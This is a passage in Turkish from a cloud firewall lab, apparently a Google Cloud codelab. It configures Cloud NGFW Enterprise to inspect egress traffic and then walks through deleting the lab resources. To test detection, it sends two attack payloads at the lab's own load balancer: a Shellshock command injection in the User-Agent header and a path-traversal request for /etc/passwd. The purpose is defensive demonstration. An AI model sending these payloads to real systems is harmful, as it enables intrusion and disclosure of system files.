Önceki bölümde doğrulandığı gibi, şimdiye kadar incelenen akışlar alt ağ/VPC içi (Doğu-Batı) ve internetten gelen trafiktir (Kuzey-Güney gelen). Cloud NGFW Enterprise, Cloud Shell kullanılarak yeni bir çıkış kuralı oluşturularak tüm internet trafiğini (Kuzey-Güney çıkış) denetleyecek şekilde yapılandırılabilir:

gcloud compute network-firewall-policies rules create 10000 \
   --description "inspect all egress internet traffic from clients" \
   --action=apply_security_profile_group \
   --firewall-policy=$prefix-fwpolicy \
   --global-firewall-policy \
   --layer4-configs=tcp:80,tcp:443 \
   --direction=EGRESS \
   --dest-ip-ranges=0.0.0.0/0 \
   --enable-logging \
   --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$org_prefix-spg

İstemci sanal makinesine geri dönün ve yüksek önem derecesine sahip saldırıları harici sunucu IP'sine yeniden gönderin:

curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://$target_nlbip/cgi-bin/test-critical -m 3

curl http://$target_nlbip/cgi-bin/../../../..//bin/cat%20/etc/passwd -m 3

Beklenen çıkış:

curl: (56) Recv failure: Connection reset by peer
curl: (28) Operation timed out after 3001 milliseconds with 0 bytes received

Günlükleri doğrulamak için Cloud Console'daki Tehditler sekmesine geçin (sayfayı birkaç kez yenilemeniz gerekebilir). Saldırılar tanımlanmış ve tekrar günlüğe kaydedilmiş olmalıdır ancak önce bir çıkış kuralı tetiklendiği için kaynak IP artık dahilidir:

36f8edf264dcddcd.png

SSH oturumunu kapatın ve temizlik adımları için bir sonraki bölüme geçin.

8. Temizleme adımları

Cloud NGFW Enterprise Bileşenlerini Temizleme

Mevcut Cloud NGFW Enterprise ilişkilendirmelerini listeleyin:

gcloud network-security firewall-endpoint-associations list

Cloud NGFW Enterprise ilişkilendirmesini silin:

gcloud network-security firewall-endpoint-associations delete \
   $prefix-association --zone $zone
gcloud network-security firewall-endpoint-associations list

Mevcut Cloud NGFW Enterprise uç noktalarını listeleyin:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Cloud NGFW Enterprise uç noktasını silin. Bu işlem yaklaşık 20 dakika sürebilir:

gcloud -q network-security firewall-endpoints delete \
   $org_prefix-$zone --zone=$zone --organization $org_id

Aşağıdaki komutu çalıştırarak Cloud NGFW Enterprise'ın silindiğini onaylayın:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Güvenlik Profili Grubu'nu ve Tehdit Önleme Profili'ni silin:

gcloud -q network-security security-profile-groups delete \
  $org_prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $org_prefix-sp-threat \
  --organization $org_id \
  --location=global

Temel Kurulum Temizliği

Temel kaynakları silmek istiyorsanız sonraki adıma geçin.

Gerekirse ortam değişkenlerini tanımlayın. Cloud Shell'den Network Load Balancer bileşenlerini silin:

gcloud -q compute forwarding-rules delete $prefix-nlb-ipv4 --region $region

gcloud -q compute backend-services delete $prefix-nlb-bes --region $region

gcloud -q compute health-checks delete $prefix-$region-hc-http80 --region $region

gcloud -q compute instance-groups unmanaged delete $prefix-ig --zone $zone

Örnekleri kaldırma:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

İsteğe bağlı olarak, tagAdmin ve tagUsers rolleri değiştirildiyse aşağıdaki adımları uygulayın:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

Etiket anahtarını ve değerlerini kaldırın:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

Cloud Güvenlik Duvarı Ağ Politikası'nı ve ilişkilendirmesini silin:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Cloud Router ve Cloud NAT'i silme:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

Ayrılmış IP adreslerini silme:

gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Son olarak, alt ağı ve VPC ağını silin:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

9. Tebrikler!

Tebrikler, Doğu-Batı ve Kuzey-Güney Denetimi için Cloud NGFW Enterprise kod laboratuvarını başarıyla tamamladınız.